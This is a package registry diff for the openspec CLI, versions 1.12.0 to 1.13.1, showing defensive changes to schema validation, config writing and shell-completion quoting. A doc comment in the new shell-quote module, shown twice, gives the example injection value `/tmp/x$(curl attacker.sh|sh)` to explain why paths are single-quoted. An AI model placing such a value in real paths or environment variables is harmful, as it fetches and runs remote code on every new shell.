@fission-ai/openspec 1.12.0 → 1.13.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -15
- package/dist/commands/change.js +12 -1
- package/dist/commands/config.d.ts +9 -0
- package/dist/commands/config.js +161 -22
- package/dist/commands/feedback.js +6 -4
- package/dist/commands/schema.js +30 -9
- package/dist/commands/store.js +5 -2
- package/dist/commands/validate.d.ts +7 -0
- package/dist/commands/validate.js +63 -1
- package/dist/commands/workflow/instructions.js +170 -16
- package/dist/commands/workflow/new-change.js +20 -0
- package/dist/commands/workflow/shared.d.ts +8 -0
- package/dist/commands/workflow/shared.js +8 -0
- package/dist/commands/workflow/status.d.ts +5 -1
- package/dist/commands/workflow/status.js +42 -5
- package/dist/core/archive.js +17 -1
- package/dist/core/artifact-graph/schema.d.ts +14 -0
- package/dist/core/artifact-graph/schema.js +52 -0
- package/dist/core/artifact-graph/types.js +12 -1
- package/dist/core/change-status-policy.d.ts +14 -0
- package/dist/core/change-status-policy.js +14 -6
- package/dist/core/command-generation/generator.js +2 -0
- package/dist/core/completion-tip.js +7 -7
- package/dist/core/completions/installers/bash-installer.js +15 -7
- package/dist/core/completions/installers/shell-quote.d.ts +11 -0
- package/dist/core/completions/installers/shell-quote.js +13 -0
- package/dist/core/completions/installers/zsh-installer.js +3 -2
- package/dist/core/config-schema.d.ts +1 -1
- package/dist/core/config.d.ts +16 -0
- package/dist/core/config.js +27 -1
- package/dist/core/global-config.d.ts +30 -2
- package/dist/core/global-config.js +57 -3
- package/dist/core/init.js +33 -3
- package/dist/core/legacy-cleanup.d.ts +4 -0
- package/dist/core/legacy-cleanup.js +180 -12
- package/dist/core/list.js +55 -11
- package/dist/core/migration.js +6 -1
- package/dist/core/onboarding-commands.d.ts +11 -1
- package/dist/core/onboarding-commands.js +26 -0
- package/dist/core/parsers/change-parser.d.ts +12 -1
- package/dist/core/parsers/change-parser.js +85 -87
- package/dist/core/parsers/markdown-parser.js +4 -3
- package/dist/core/parsers/requirement-blocks.d.ts +44 -3
- package/dist/core/parsers/requirement-blocks.js +164 -43
- package/dist/core/parsers/requirement-text.d.ts +13 -2
- package/dist/core/parsers/requirement-text.js +34 -7
- package/dist/core/parsers/spec-structure.js +4 -1
- package/dist/core/project-config.d.ts +9 -1
- package/dist/core/project-config.js +11 -2
- package/dist/core/references.d.ts +20 -0
- package/dist/core/references.js +56 -0
- package/dist/core/shared/skill-content-equivalence.js +5 -1
- package/dist/core/shared/skill-generation.js +36 -8
- package/dist/core/shared/tool-detection.js +37 -4
- package/dist/core/specs-apply.js +260 -18
- package/dist/core/store/git.d.ts +33 -0
- package/dist/core/store/git.js +60 -6
- package/dist/core/store/operations.d.ts +1 -1
- package/dist/core/store/operations.js +32 -10
- package/dist/core/store/registry.d.ts +2 -1
- package/dist/core/store/registry.js +5 -1
- package/dist/core/templates/optional-workflow.d.ts +69 -0
- package/dist/core/templates/optional-workflow.js +140 -0
- package/dist/core/templates/workflows/apply-change.js +18 -3
- package/dist/core/templates/workflows/archive-change.js +50 -15
- package/dist/core/templates/workflows/bulk-archive-change.js +63 -13
- package/dist/core/templates/workflows/continue-change.js +14 -2
- package/dist/core/templates/workflows/explore.js +48 -14
- package/dist/core/templates/workflows/ff-change.js +19 -3
- package/dist/core/templates/workflows/new-change.js +15 -3
- package/dist/core/templates/workflows/onboard.js +67 -37
- package/dist/core/templates/workflows/project-root.d.ts +29 -0
- package/dist/core/templates/workflows/project-root.js +38 -0
- package/dist/core/templates/workflows/propose.js +52 -15
- package/dist/core/templates/workflows/sync-specs.js +40 -1
- package/dist/core/templates/workflows/update-change.js +52 -25
- package/dist/core/templates/workflows/verify-change.js +12 -3
- package/dist/core/update.d.ts +34 -0
- package/dist/core/update.js +109 -11
- package/dist/core/validation/task-checkboxes.d.ts +34 -0
- package/dist/core/validation/task-checkboxes.js +181 -0
- package/dist/core/validation/validator.d.ts +53 -1
- package/dist/core/validation/validator.js +154 -40
- package/dist/core/version-check.d.ts +14 -7
- package/dist/core/version-check.js +63 -17
- package/dist/core/worksets.js +6 -4
- package/dist/prompts/searchable-multi-select.d.ts +7 -0
- package/dist/prompts/searchable-multi-select.js +35 -6
- package/dist/telemetry/config.js +14 -2
- package/dist/telemetry/index.d.ts +4 -3
- package/dist/telemetry/index.js +22 -10
- package/dist/telemetry/opt-out.d.ts +17 -0
- package/dist/telemetry/opt-out.js +27 -0
- package/dist/utils/nested-change.d.ts +35 -0
- package/dist/utils/nested-change.js +186 -0
- package/dist/utils/spec-discovery.d.ts +20 -0
- package/dist/utils/spec-discovery.js +59 -0
- package/dist/utils/task-progress.d.ts +1 -1
- package/dist/utils/task-progress.js +38 -6
- package/package.json +4 -4
- package/schemas/spec-driven/schema.yaml +24 -5
- package/schemas/spec-driven/templates/design.md +2 -0
- package/schemas/spec-driven/templates/proposal.md +2 -0
- package/schemas/spec-driven/templates/spec.md +2 -0
- package/schemas/spec-driven/templates/tasks.md +2 -0
|
@@ -18,6 +18,9 @@ function relativePathSchema(fieldName) {
|
|
|
18
18
|
});
|
|
19
19
|
}
|
|
20
20
|
// Artifact definition schema
|
|
21
|
+
// Upper bound on artifacts in one schema. Keeps `validateNoCycles`' recursive
|
|
22
|
+
// DFS well inside the stack limit for any accepted input.
|
|
23
|
+
const MAX_ARTIFACTS = 1000;
|
|
21
24
|
export const ArtifactSchema = z.object({
|
|
22
25
|
id: z.string().min(1, { error: 'Artifact ID is required' }),
|
|
23
26
|
generates: relativePathSchema('generates field'),
|
|
@@ -40,7 +43,15 @@ export const SchemaYamlSchema = z.object({
|
|
|
40
43
|
name: z.string().min(1, { error: 'Schema name is required' }),
|
|
41
44
|
version: z.number().int().positive({ error: 'Version must be a positive integer' }),
|
|
42
45
|
description: z.string().optional(),
|
|
43
|
-
artifacts: z
|
|
46
|
+
artifacts: z
|
|
47
|
+
.array(ArtifactSchema)
|
|
48
|
+
.min(1, { error: 'At least one artifact required' })
|
|
49
|
+
// Bounded so a hostile schema cannot drive the cycle-detection DFS past the
|
|
50
|
+
// V8 stack limit and crash with an uncaught RangeError instead of a
|
|
51
|
+
// validation error.
|
|
52
|
+
.max(MAX_ARTIFACTS, {
|
|
53
|
+
error: `A schema may declare at most ${MAX_ARTIFACTS} artifacts`,
|
|
54
|
+
}),
|
|
44
55
|
// Optional apply phase configuration (for schema-aware apply instructions)
|
|
45
56
|
apply: ApplyPhaseSchema.optional(),
|
|
46
57
|
});
|
|
@@ -33,5 +33,19 @@ export interface ActionContextInput {
|
|
|
33
33
|
}
|
|
34
34
|
export declare function summarizePlanningHome(planningHome: PlanningHome | undefined): PlanningHomeSummary | undefined;
|
|
35
35
|
export declare function buildActionContext(input: ActionContextInput): ActionContext;
|
|
36
|
+
/**
|
|
37
|
+
* The one next action for a change, in both the forms the CLI needs.
|
|
38
|
+
*
|
|
39
|
+
* `sentence` is what the JSON `nextSteps` contract publishes; `command` is the
|
|
40
|
+
* bare command the text surface prints. Both are built here so the two
|
|
41
|
+
* surfaces can never name a different next step.
|
|
42
|
+
*/
|
|
43
|
+
export interface ChangeNextStep {
|
|
44
|
+
/** Ready-to-run command, including any `--store` flag. */
|
|
45
|
+
command: string;
|
|
46
|
+
/** Sentence form carried by the JSON `nextSteps` array. */
|
|
47
|
+
sentence: string;
|
|
48
|
+
}
|
|
49
|
+
export declare function resolveNextStep(input: ChangeNextStepsInput): ChangeNextStep | undefined;
|
|
36
50
|
export declare function buildNextSteps(input: ChangeNextStepsInput): string[];
|
|
37
51
|
//# sourceMappingURL=change-status-policy.d.ts.map
|
|
@@ -20,16 +20,24 @@ export function buildActionContext(input) {
|
|
|
20
20
|
constraints: ['Repo-local change artifacts and implementation edits are scoped to this project.'],
|
|
21
21
|
};
|
|
22
22
|
}
|
|
23
|
-
export function
|
|
23
|
+
export function resolveNextStep(input) {
|
|
24
24
|
const readyArtifact = input.artifactStatuses.find((artifact) => artifact.status === 'ready');
|
|
25
|
-
const steps = [];
|
|
26
25
|
const storeFlag = input.storeId ? ` --store ${input.storeId}` : '';
|
|
27
26
|
if (readyArtifact) {
|
|
28
|
-
|
|
27
|
+
const command = `openspec instructions ${readyArtifact.id} --change "${input.changeName}"${storeFlag} --json`;
|
|
28
|
+
return { command, sentence: `Run ${command} before writing that artifact.` };
|
|
29
29
|
}
|
|
30
|
-
|
|
31
|
-
|
|
30
|
+
if (input.allArtifactsComplete) {
|
|
31
|
+
const command = `openspec instructions apply --change "${input.changeName}"${storeFlag} --json`;
|
|
32
|
+
return {
|
|
33
|
+
command,
|
|
34
|
+
sentence: `All planning artifacts are complete. Run ${command} to inspect implementation progress.`,
|
|
35
|
+
};
|
|
32
36
|
}
|
|
33
|
-
return
|
|
37
|
+
return undefined;
|
|
38
|
+
}
|
|
39
|
+
export function buildNextSteps(input) {
|
|
40
|
+
const step = resolveNextStep(input);
|
|
41
|
+
return step ? [step.sentence] : [];
|
|
34
42
|
}
|
|
35
43
|
//# sourceMappingURL=change-status-policy.js.map
|
|
@@ -5,6 +5,7 @@
|
|
|
5
5
|
*/
|
|
6
6
|
import { getInvocationForAdapter, needsInvocationRewrite } from './invocation.js';
|
|
7
7
|
import { transformCommandInvocations } from '../../utils/command-references.js';
|
|
8
|
+
import { assertWorkflowConditionalsResolved } from '../templates/optional-workflow.js';
|
|
8
9
|
/**
|
|
9
10
|
* Generate a single command file using the provided adapter.
|
|
10
11
|
*
|
|
@@ -20,6 +21,7 @@ import { transformCommandInvocations } from '../../utils/command-references.js';
|
|
|
20
21
|
* @returns Generated command with path and file content
|
|
21
22
|
*/
|
|
22
23
|
export function generateCommand(content, adapter) {
|
|
24
|
+
assertWorkflowConditionalsResolved(content.body, `Command '${content.id}' was generated without resolving its optional-workflow blocks`);
|
|
23
25
|
const invocation = getInvocationForAdapter(adapter);
|
|
24
26
|
const formatted = needsInvocationRewrite(invocation)
|
|
25
27
|
? { ...content, body: transformCommandInvocations(content.body, invocation) }
|
|
@@ -18,8 +18,8 @@
|
|
|
18
18
|
* non-TTY runs, which are deferred rather than consumed (see `silent`)
|
|
19
19
|
*/
|
|
20
20
|
import * as fs from 'node:fs';
|
|
21
|
-
import * as path from 'node:path';
|
|
22
21
|
import { getGlobalConfigPath } from './global-config.js';
|
|
22
|
+
import { writeFileAtomically } from './file-state.js';
|
|
23
23
|
import { isCiEnvironment } from '../utils/ci.js';
|
|
24
24
|
import { detectShell } from '../utils/shell-detection.js';
|
|
25
25
|
import { CompletionFactory } from './completions/factory.js';
|
|
@@ -94,13 +94,13 @@ function readRawConfig() {
|
|
|
94
94
|
* write down to this one key, and the rename keeps a reader from ever seeing a
|
|
95
95
|
* half-written config.
|
|
96
96
|
*/
|
|
97
|
-
function markTipSeen() {
|
|
97
|
+
async function markTipSeen() {
|
|
98
98
|
const configPath = getGlobalConfigPath();
|
|
99
99
|
const current = readRawConfig() ?? {};
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
100
|
+
// The shared atomic writer: randomized temp name, owner-only mode, temp file
|
|
101
|
+
// removed on failure. A predictable `<config>.<pid>.tmp` at the default mode
|
|
102
|
+
// is both guessable and world-readable once renamed over the config.
|
|
103
|
+
await writeFileAtomically(configPath, JSON.stringify({ ...current, completionTipSeen: true }, null, 2) + '\n');
|
|
104
104
|
}
|
|
105
105
|
/**
|
|
106
106
|
* Print the completion tip once, the first time the CLI runs.
|
|
@@ -121,7 +121,7 @@ export async function maybeShowCompletionTip(options = {}) {
|
|
|
121
121
|
const decision = await decideTip();
|
|
122
122
|
// Record before printing: if the flag cannot be persisted, staying quiet
|
|
123
123
|
// beats reprinting the tip on every future run.
|
|
124
|
-
markTipSeen();
|
|
124
|
+
await markTipSeen();
|
|
125
125
|
if (decision === 'show') {
|
|
126
126
|
console.error(`\n${COMPLETION_TIP_MESSAGE}`);
|
|
127
127
|
}
|
|
@@ -2,6 +2,7 @@ import { promises as fs } from 'fs';
|
|
|
2
2
|
import path from 'path';
|
|
3
3
|
import os from 'os';
|
|
4
4
|
import { FileSystemUtils } from '../../../utils/file-system.js';
|
|
5
|
+
import { shellSingleQuote } from './shell-quote.js';
|
|
5
6
|
/**
|
|
6
7
|
* Installer for Bash completion scripts.
|
|
7
8
|
* Supports bash-completion package and standalone installations.
|
|
@@ -105,10 +106,11 @@ export class BashInstaller {
|
|
|
105
106
|
* @returns Configuration content
|
|
106
107
|
*/
|
|
107
108
|
generateBashrcConfig(completionsDir) {
|
|
109
|
+
const quotedDir = shellSingleQuote(completionsDir);
|
|
108
110
|
return [
|
|
109
111
|
'# OpenSpec shell completions configuration',
|
|
110
|
-
`if [ -d
|
|
111
|
-
` for f in
|
|
112
|
+
`if [ -d ${quotedDir} ]; then`,
|
|
113
|
+
` for f in ${quotedDir}/*; do`,
|
|
112
114
|
' [ -f "$f" ] && . "$f"',
|
|
113
115
|
' done',
|
|
114
116
|
'fi',
|
|
@@ -177,9 +179,11 @@ export class BashInstaller {
|
|
|
177
179
|
}
|
|
178
180
|
// Remove lines between markers (inclusive)
|
|
179
181
|
lines.splice(startIndex, endIndex - startIndex + 1);
|
|
180
|
-
//
|
|
181
|
-
|
|
182
|
-
|
|
182
|
+
// Install puts the block at the top of the file followed by one blank
|
|
183
|
+
// separator line; drop that line too so the file reads as it did before.
|
|
184
|
+
// Everything else, including the file's final newline, is left as is.
|
|
185
|
+
if (startIndex === 0 && lines.length > 0 && lines[0].trim() === '') {
|
|
186
|
+
lines.shift();
|
|
183
187
|
}
|
|
184
188
|
// Write back
|
|
185
189
|
await fs.writeFile(bashrcPath, lines.join('\n'), 'utf-8');
|
|
@@ -281,14 +285,18 @@ export class BashInstaller {
|
|
|
281
285
|
*/
|
|
282
286
|
generateInstructions(installedPath) {
|
|
283
287
|
const completionsDir = path.dirname(installedPath);
|
|
288
|
+
// Quoted exactly like the auto-configured block: these lines are printed
|
|
289
|
+
// for the user to paste into their own rc file, so an expansion left in
|
|
290
|
+
// them runs on every future shell start.
|
|
291
|
+
const quotedDir = shellSingleQuote(completionsDir);
|
|
284
292
|
return [
|
|
285
293
|
'Completion script installed successfully.',
|
|
286
294
|
'',
|
|
287
295
|
'To enable completions, add the following to your ~/.bashrc file:',
|
|
288
296
|
'',
|
|
289
297
|
` # Source OpenSpec completions`,
|
|
290
|
-
` if [ -d
|
|
291
|
-
` for f in
|
|
298
|
+
` if [ -d ${quotedDir} ]; then`,
|
|
299
|
+
` for f in ${quotedDir}/*; do`,
|
|
292
300
|
' [ -f "$f" ] && . "$f"',
|
|
293
301
|
' done',
|
|
294
302
|
' fi',
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Quote a path as a POSIX shell single-quoted literal.
|
|
3
|
+
*
|
|
4
|
+
* Completion directories are derived from XDG_DATA_HOME / HOME, which are never
|
|
5
|
+
* escaped. Interpolated into a double-quoted rc line, a value like
|
|
6
|
+
* `/tmp/x$(curl attacker.sh|sh)` would run on every new shell; single quotes
|
|
7
|
+
* suppress every expansion, and the `'\''` dance closes, escapes, and reopens
|
|
8
|
+
* the quote around any literal apostrophe.
|
|
9
|
+
*/
|
|
10
|
+
export declare function shellSingleQuote(value: string): string;
|
|
11
|
+
//# sourceMappingURL=shell-quote.d.ts.map
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Quote a path as a POSIX shell single-quoted literal.
|
|
3
|
+
*
|
|
4
|
+
* Completion directories are derived from XDG_DATA_HOME / HOME, which are never
|
|
5
|
+
* escaped. Interpolated into a double-quoted rc line, a value like
|
|
6
|
+
* `/tmp/x$(curl attacker.sh|sh)` would run on every new shell; single quotes
|
|
7
|
+
* suppress every expansion, and the `'\''` dance closes, escapes, and reopens
|
|
8
|
+
* the quote around any literal apostrophe.
|
|
9
|
+
*/
|
|
10
|
+
export function shellSingleQuote(value) {
|
|
11
|
+
return `'${value.replace(/'/g, `'\\''`)}'`;
|
|
12
|
+
}
|
|
13
|
+
//# sourceMappingURL=shell-quote.js.map
|
|
@@ -2,6 +2,7 @@ import { promises as fs } from 'fs';
|
|
|
2
2
|
import path from 'path';
|
|
3
3
|
import os from 'os';
|
|
4
4
|
import { FileSystemUtils } from '../../../utils/file-system.js';
|
|
5
|
+
import { shellSingleQuote } from './shell-quote.js';
|
|
5
6
|
/**
|
|
6
7
|
* Installer for Zsh completion scripts.
|
|
7
8
|
* Supports both Oh My Zsh and standard Zsh configurations.
|
|
@@ -109,7 +110,7 @@ export class ZshInstaller {
|
|
|
109
110
|
generateZshrcConfig(completionsDir) {
|
|
110
111
|
return [
|
|
111
112
|
'# OpenSpec shell completions configuration',
|
|
112
|
-
`fpath=(
|
|
113
|
+
`fpath=(${shellSingleQuote(completionsDir)} $fpath)`,
|
|
113
114
|
'autoload -Uz compinit',
|
|
114
115
|
'compinit',
|
|
115
116
|
].join('\n');
|
|
@@ -340,7 +341,7 @@ export class ZshInstaller {
|
|
|
340
341
|
'To enable completions, add the following to your ~/.zshrc file:',
|
|
341
342
|
'',
|
|
342
343
|
` # Add completions directory to fpath`,
|
|
343
|
-
` fpath=(${completionsDir} $fpath)`,
|
|
344
|
+
` fpath=(${shellSingleQuote(completionsDir)} $fpath)`,
|
|
344
345
|
'',
|
|
345
346
|
' # Initialize completion system',
|
|
346
347
|
' autoload -Uz compinit',
|
|
@@ -6,8 +6,8 @@ import { z } from 'zod';
|
|
|
6
6
|
export declare const GlobalConfigSchema: z.ZodObject<{
|
|
7
7
|
featureFlags: z.ZodDefault<z.ZodOptional<z.ZodRecord<z.ZodString, z.ZodBoolean>>>;
|
|
8
8
|
profile: z.ZodDefault<z.ZodOptional<z.ZodEnum<{
|
|
9
|
-
core: "core";
|
|
10
9
|
custom: "custom";
|
|
10
|
+
core: "core";
|
|
11
11
|
}>>>;
|
|
12
12
|
delivery: z.ZodDefault<z.ZodOptional<z.ZodEnum<{
|
|
13
13
|
commands: "commands";
|
package/dist/core/config.d.ts
CHANGED
|
@@ -16,10 +16,26 @@ export interface AIToolOption {
|
|
|
16
16
|
legacySkillsDirs?: string[];
|
|
17
17
|
globalSkillsDir?: string;
|
|
18
18
|
detectionPaths?: string[];
|
|
19
|
+
searchAliases?: string[];
|
|
19
20
|
setupNote?: string;
|
|
20
21
|
requiresIdeRestart?: boolean;
|
|
21
22
|
}
|
|
22
23
|
export declare const AI_TOOLS: AIToolOption[];
|
|
24
|
+
/**
|
|
25
|
+
* The vendor-neutral target every assistant that is not listed above can use.
|
|
26
|
+
* Named wherever a tool lookup comes up empty, so "my tool isn't here" is never
|
|
27
|
+
* a dead end (#653).
|
|
28
|
+
*/
|
|
29
|
+
export declare const UNIVERSAL_TOOL_ID = "agents";
|
|
30
|
+
/** The universal target's entry, or undefined if it was removed from AI_TOOLS. */
|
|
31
|
+
export declare function getUniversalTool(): AIToolOption | undefined;
|
|
32
|
+
/**
|
|
33
|
+
* One-line pointer at the universal target for non-interactive errors, the
|
|
34
|
+
* scripted counterpart of the picker's empty-search hint. Undefined when the
|
|
35
|
+
* target is not among the tools on offer, so the hint never names a choice the
|
|
36
|
+
* caller cannot make.
|
|
37
|
+
*/
|
|
38
|
+
export declare function universalToolFallbackHint(offeredToolIds: string[]): string | undefined;
|
|
23
39
|
/**
|
|
24
40
|
* Retired tool ids that still resolve, so a rebrand does not break scripted
|
|
25
41
|
* `--tools` invocations. Windsurf was rebranded to Devin Desktop on
|
package/dist/core/config.js
CHANGED
|
@@ -68,8 +68,34 @@ export const AI_TOOLS = [
|
|
|
68
68
|
// A project that does keep skills there is a project this target fits, the same
|
|
69
69
|
// way `.claude/` selects Claude Code — the signal is the user's setup, not
|
|
70
70
|
// OpenSpec's own files.
|
|
71
|
-
|
|
71
|
+
// The picker is searchable, so this entry also answers to the words someone
|
|
72
|
+
// whose assistant is not on the list actually types (#653) — it is named for
|
|
73
|
+
// a directory, which none of them would guess. Aliases are single words: the
|
|
74
|
+
// space bar toggles a selection rather than typing into the search box.
|
|
75
|
+
{ name: 'Other / Universal (shared .agents skills)', value: 'agents', available: true, successLabel: 'shared .agents skills', skillsDir: '.agents', detectionPaths: ['.agents/skills'], searchAliases: ['universal', 'other', 'generic', 'custom', 'proprietary', 'unlisted', 'unsupported', 'vendor-neutral', 'agents.md'] }
|
|
72
76
|
];
|
|
77
|
+
/**
|
|
78
|
+
* The vendor-neutral target every assistant that is not listed above can use.
|
|
79
|
+
* Named wherever a tool lookup comes up empty, so "my tool isn't here" is never
|
|
80
|
+
* a dead end (#653).
|
|
81
|
+
*/
|
|
82
|
+
export const UNIVERSAL_TOOL_ID = 'agents';
|
|
83
|
+
/** The universal target's entry, or undefined if it was removed from AI_TOOLS. */
|
|
84
|
+
export function getUniversalTool() {
|
|
85
|
+
return AI_TOOLS.find((tool) => tool.value === UNIVERSAL_TOOL_ID);
|
|
86
|
+
}
|
|
87
|
+
/**
|
|
88
|
+
* One-line pointer at the universal target for non-interactive errors, the
|
|
89
|
+
* scripted counterpart of the picker's empty-search hint. Undefined when the
|
|
90
|
+
* target is not among the tools on offer, so the hint never names a choice the
|
|
91
|
+
* caller cannot make.
|
|
92
|
+
*/
|
|
93
|
+
export function universalToolFallbackHint(offeredToolIds) {
|
|
94
|
+
const universal = getUniversalTool();
|
|
95
|
+
if (!universal || !offeredToolIds.includes(universal.value))
|
|
96
|
+
return undefined;
|
|
97
|
+
return `Tool not listed? Use --tools ${universal.value}: the vendor-neutral target that writes ${universal.skillsDir}/skills/ for any assistant.`;
|
|
98
|
+
}
|
|
73
99
|
/**
|
|
74
100
|
* Retired tool ids that still resolve, so a rebrand does not break scripted
|
|
75
101
|
* `--tools` invocations. Windsurf was rebranded to Devin Desktop on
|
|
@@ -61,9 +61,37 @@ export declare function getGlobalConfigPath(): string;
|
|
|
61
61
|
* Merges loaded config with defaults to ensure new fields are available.
|
|
62
62
|
*/
|
|
63
63
|
export declare function getGlobalConfig(): GlobalConfig;
|
|
64
|
+
/**
|
|
65
|
+
* Whether a parsed JSON root can serve as a global config object.
|
|
66
|
+
*
|
|
67
|
+
* Valid JSON that is not a plain object (`null`, an array, a string, a number,
|
|
68
|
+
* a boolean) still reads as defaults, so it is just as unsafe to save over as
|
|
69
|
+
* a file that did not parse at all. Every reader and writer of the global
|
|
70
|
+
* config shares this one predicate so they cannot drift apart.
|
|
71
|
+
*/
|
|
72
|
+
export declare function isConfigRootObject(parsed: unknown): boolean;
|
|
73
|
+
/**
|
|
74
|
+
* The one-line, actionable refusal every global-config writer reports when it
|
|
75
|
+
* declines to overwrite a file it could not read.
|
|
76
|
+
*/
|
|
77
|
+
export declare function unreadableGlobalConfigMessage(configPath: string): string;
|
|
78
|
+
/**
|
|
79
|
+
* Whether the global config file exists but cannot be read or parsed.
|
|
80
|
+
*
|
|
81
|
+
* getGlobalConfig() answers with defaults for such a file so that reads keep
|
|
82
|
+
* working, but those defaults are not the user's settings: saving them back
|
|
83
|
+
* would erase everything the file holds, and the file may contain an opt-out
|
|
84
|
+
* such as `telemetry.enabled: false` that the defaults do not.
|
|
85
|
+
*/
|
|
86
|
+
export declare function isGlobalConfigUnreadable(): boolean;
|
|
87
|
+
export interface SaveGlobalConfigOptions {
|
|
88
|
+
/** Overwrite a config file that cannot be parsed. Only a reset should. */
|
|
89
|
+
replaceUnreadable?: boolean;
|
|
90
|
+
}
|
|
64
91
|
/**
|
|
65
92
|
* Saves the global configuration to disk.
|
|
66
|
-
* Creates the config directory if it doesn't exist.
|
|
93
|
+
* Creates the config directory if it doesn't exist. Refuses to overwrite an
|
|
94
|
+
* existing file it cannot parse unless `replaceUnreadable` is set.
|
|
67
95
|
*/
|
|
68
|
-
export declare function saveGlobalConfig(config: GlobalConfig): void;
|
|
96
|
+
export declare function saveGlobalConfig(config: GlobalConfig, options?: SaveGlobalConfigOptions): void;
|
|
69
97
|
//# sourceMappingURL=global-config.d.ts.map
|
|
@@ -68,6 +68,9 @@ export function getGlobalDataDir(options = {}) {
|
|
|
68
68
|
export function getGlobalConfigPath() {
|
|
69
69
|
return path.join(getGlobalConfigDir(), GLOBAL_CONFIG_FILE_NAME);
|
|
70
70
|
}
|
|
71
|
+
// Config paths already warned about. One command reads the config several
|
|
72
|
+
// times (telemetry, the update check, the command itself); warn once.
|
|
73
|
+
const warnedInvalidJsonPaths = new Set();
|
|
71
74
|
/**
|
|
72
75
|
* Loads the global configuration from disk.
|
|
73
76
|
* Returns default configuration if file doesn't exist or is invalid.
|
|
@@ -81,6 +84,13 @@ export function getGlobalConfig() {
|
|
|
81
84
|
}
|
|
82
85
|
const content = fs.readFileSync(configPath, 'utf-8');
|
|
83
86
|
const parsed = JSON.parse(content);
|
|
87
|
+
// A root that is not a plain object carries no settings, and spreading it
|
|
88
|
+
// would leak its shape into the result: a string contributes numeric
|
|
89
|
+
// character keys. Answer with plain defaults, as for a file that did not
|
|
90
|
+
// parse at all. Same predicate the writers refuse to save over.
|
|
91
|
+
if (!isConfigRootObject(parsed)) {
|
|
92
|
+
return { ...DEFAULT_CONFIG };
|
|
93
|
+
}
|
|
84
94
|
// Merge with defaults (loaded values take precedence)
|
|
85
95
|
const merged = {
|
|
86
96
|
...DEFAULT_CONFIG,
|
|
@@ -102,19 +112,63 @@ export function getGlobalConfig() {
|
|
|
102
112
|
}
|
|
103
113
|
catch (error) {
|
|
104
114
|
// Log warning for parse errors, but not for missing files
|
|
105
|
-
if (error instanceof SyntaxError) {
|
|
115
|
+
if (error instanceof SyntaxError && !warnedInvalidJsonPaths.has(configPath)) {
|
|
116
|
+
warnedInvalidJsonPaths.add(configPath);
|
|
106
117
|
console.error(`Warning: Invalid JSON in ${configPath}, using defaults`);
|
|
107
118
|
}
|
|
108
119
|
return { ...DEFAULT_CONFIG };
|
|
109
120
|
}
|
|
110
121
|
}
|
|
122
|
+
/**
|
|
123
|
+
* Whether a parsed JSON root can serve as a global config object.
|
|
124
|
+
*
|
|
125
|
+
* Valid JSON that is not a plain object (`null`, an array, a string, a number,
|
|
126
|
+
* a boolean) still reads as defaults, so it is just as unsafe to save over as
|
|
127
|
+
* a file that did not parse at all. Every reader and writer of the global
|
|
128
|
+
* config shares this one predicate so they cannot drift apart.
|
|
129
|
+
*/
|
|
130
|
+
export function isConfigRootObject(parsed) {
|
|
131
|
+
return typeof parsed === 'object' && parsed !== null && !Array.isArray(parsed);
|
|
132
|
+
}
|
|
133
|
+
/**
|
|
134
|
+
* The one-line, actionable refusal every global-config writer reports when it
|
|
135
|
+
* declines to overwrite a file it could not read.
|
|
136
|
+
*/
|
|
137
|
+
export function unreadableGlobalConfigMessage(configPath) {
|
|
138
|
+
return (`Refusing to overwrite ${configPath}: it could not be parsed, so saving would replace every setting in it. ` +
|
|
139
|
+
'Fix it with "openspec config edit", or reset it with "openspec config reset --all".');
|
|
140
|
+
}
|
|
141
|
+
/**
|
|
142
|
+
* Whether the global config file exists but cannot be read or parsed.
|
|
143
|
+
*
|
|
144
|
+
* getGlobalConfig() answers with defaults for such a file so that reads keep
|
|
145
|
+
* working, but those defaults are not the user's settings: saving them back
|
|
146
|
+
* would erase everything the file holds, and the file may contain an opt-out
|
|
147
|
+
* such as `telemetry.enabled: false` that the defaults do not.
|
|
148
|
+
*/
|
|
149
|
+
export function isGlobalConfigUnreadable() {
|
|
150
|
+
const configPath = getGlobalConfigPath();
|
|
151
|
+
if (!fs.existsSync(configPath)) {
|
|
152
|
+
return false;
|
|
153
|
+
}
|
|
154
|
+
try {
|
|
155
|
+
return !isConfigRootObject(JSON.parse(fs.readFileSync(configPath, 'utf-8')));
|
|
156
|
+
}
|
|
157
|
+
catch {
|
|
158
|
+
return true;
|
|
159
|
+
}
|
|
160
|
+
}
|
|
111
161
|
/**
|
|
112
162
|
* Saves the global configuration to disk.
|
|
113
|
-
* Creates the config directory if it doesn't exist.
|
|
163
|
+
* Creates the config directory if it doesn't exist. Refuses to overwrite an
|
|
164
|
+
* existing file it cannot parse unless `replaceUnreadable` is set.
|
|
114
165
|
*/
|
|
115
|
-
export function saveGlobalConfig(config) {
|
|
166
|
+
export function saveGlobalConfig(config, options = {}) {
|
|
116
167
|
const configDir = getGlobalConfigDir();
|
|
117
168
|
const configPath = getGlobalConfigPath();
|
|
169
|
+
if (!options.replaceUnreadable && isGlobalConfigUnreadable()) {
|
|
170
|
+
throw new Error(unreadableGlobalConfigMessage(configPath));
|
|
171
|
+
}
|
|
118
172
|
// Create directory if it doesn't exist
|
|
119
173
|
if (!fs.existsSync(configDir)) {
|
|
120
174
|
fs.mkdirSync(configDir, { recursive: true });
|
package/dist/core/init.js
CHANGED
|
@@ -14,7 +14,7 @@ import { classifyOpenSpecDir, MAX_CONTEXT_SIZE, readProjectConfig, storePointerP
|
|
|
14
14
|
import { findRepoPlanningRootSync } from './planning-home.js';
|
|
15
15
|
import { ANCHORED_OPENSPEC_DIRS, ensureDirectoryAnchor } from './openspec-root.js';
|
|
16
16
|
import { getSkillReferenceTransformer, getTransformerForTool, usesNaturalLanguageSkillReferences } from '../utils/command-references.js';
|
|
17
|
-
import { AI_TOOLS, OPENSPEC_DIR_NAME, resolveToolIdAlias, } from './config.js';
|
|
17
|
+
import { AI_TOOLS, getUniversalTool, universalToolFallbackHint, OPENSPEC_DIR_NAME, resolveToolIdAlias, } from './config.js';
|
|
18
18
|
import { PALETTE } from './styles/palette.js';
|
|
19
19
|
import { isInteractive } from '../utils/interactive.js';
|
|
20
20
|
import { serializeConfig } from './config-prompts.js';
|
|
@@ -24,6 +24,7 @@ import { getToolsWithSkillsDir, getToolStates, getSkillTemplates, getCommandCont
|
|
|
24
24
|
import { getGlobalConfig } from './global-config.js';
|
|
25
